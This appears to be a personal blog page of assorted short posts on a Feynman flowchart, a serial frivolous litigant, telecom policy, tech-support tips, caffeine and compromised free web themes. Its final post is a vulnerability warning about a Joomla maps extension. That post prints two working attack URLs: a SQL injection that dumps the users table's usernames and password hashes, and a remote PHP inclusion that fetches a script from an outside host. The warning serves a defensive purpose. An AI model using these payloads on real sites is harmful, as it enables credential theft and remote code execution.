brandondawson.org

Here’s a hilariously true flowchart of the Richard Feynman decision-making process: [link]

Hard to believe he’s been gone almost twenty years.

A while back, I wrote up a brief blurb about Jonathan Lee Riches, who is currently suing Michael Vick for $63 billion. Here’s some links to his other work:

http://www.citypaper.net/articles/2006-04-13/fineprint2.shtml – Riches names “The Magna Carta”, “Meals on Wheels”, and “Mt. Rushmore” as defendants.

http://www.citypaper.net/articles/2006-04-13/NC_FP_Lawsuit.pdf – the full 57-page PDF of the defendants’ list for the above mentioned suit.

http://www.thesmokinggun.com/archive/years/2007/0816071riches2.html – Riches sues Barry Bonds, claiming a conspiracy within Major League Baseball to fraudulently use his name, amongst other “crimes”.

It seems Mr. Riches has been making a huge game of the Federal Courts for a long time, filing suits in at least fifteen different federal jurisdictions to avoid being tagged with frivolous lawsuit charges. He is currently an inmate of Federal Correctional Institute, Gaithersburg, South Carolina on a 10-year sentence for identity and credit card fraud.

If I were one of the federal judges in whose courts Riches has filed his suits, I must admit that I’d be hard-pressed to not let his lawsuits proceed. Just getting a small percentage of the people named in these hilariously frivolous lawsuits in the same courtroom at the same time would be deeply, painfully funny. I don’t think I’ve ever laughed as hard as I did when I read “Meals on Wheels” amongst his list of litigants.

Who sues Meals on Wheels? Apparently, an unknown, underappreciated comic genius. It’s a shame Mr. Riches turned to crime before somebody set him down with a pen and paper to write jokes. The world would be better for it.

Cringely of I, Cringely has an excellent essay on the telecom swindles of the 90′s-00′s. No, not the ones personified by such charlatan hucksters as Bernie Ebbers and C. Michael Armstrong, but on the fact that, by all rights, the American public should be enjoying fiber-to-the-home right now, rather than being promised such super-high-speed offerings in the foggy, unknown future. [link]
The essay links to an even bigger 406-page e-book, also good reading if you want a comprehensive understanding of what’s truly at stake when Ma Bell complains about why network neutrality is a bad thing.

This post brought back some fond memories: [link]

Call control. It’s the most important aspect of support. The caller has to know you’re in control, and if you let yourself panic, it’s all over, as this article notes.

The good thing is that if you’re patient and take the time to learn what your caller is actually meaning, as opposed to what they’re saying, the job can be quite easy.

Fundamentally, a support rep is not there to be supremely technically efficient so much as to serve as a Geek-to-English translator. Take the time to educate your users. Make them feel like they’re part of the club. We were all newbs at one time or another.

Here’s a fun site: Death by Caffeine.

I was interested to note that even with the ever-increasing caffeine level in both regular soda pop and so-called “energy drinks”, you’d still die of an exploded stomach and hyperhydration well before actually dying of the caffeine, provided of course, that you were of otherwise robust health with no heart conditions.

So bring on the C₈H₁₀N₄O_2.

5ThirtyOne is running a story today about popular free themes being crammed with malicious and/or spammy code, then being re-released.

This is a problem with the free template scene, and those who would take such major advantage of it. I’ve had so many clients that want “a duplicate of X website” or “just take this free or commercial theme and adapt it”. But of course, this lazy approach to designing a winning website leaves you prone to a lot of problems, not the least of which is the fact that such people typically have no idea what the code in their template means, and therefore wouldn’t know an unnecessary PHP include from the mandatory PHP hooks for Joomla.

As such, they have no idea why their sites are underperforming in search engines, they have no idea why their visitors are leaving to odd websites, and no clue what to do about it if they did. All they know is that they “developed” a website that should’ve cost at least a couple thousand dollars for pennies on the dollar. If they knew better, they’d care. But they don’t, and that hurts all of us.

Just a little heads up here to let folks know that a fairly serious security vulnerability present in the com_gmaps extension, allowing remote SQL injection and php inclusion. Here are two examples of the compromise in action:

index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId=
-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

index.php?option=com_gmaps&task=viewmap&Itemid=73&mapId=
1/index.php?option=http://www.crotz.tk/crotz? HTTP/1.1

As you can see, the exploit first exposes the administrator’s password’s md5 hash to the intruders, and also allows running of a php script that offers other details about the server environment the affected Joomla install is running on.

There is an update that fixes this security flaw, which may be obtained from GMap’s official website. [link]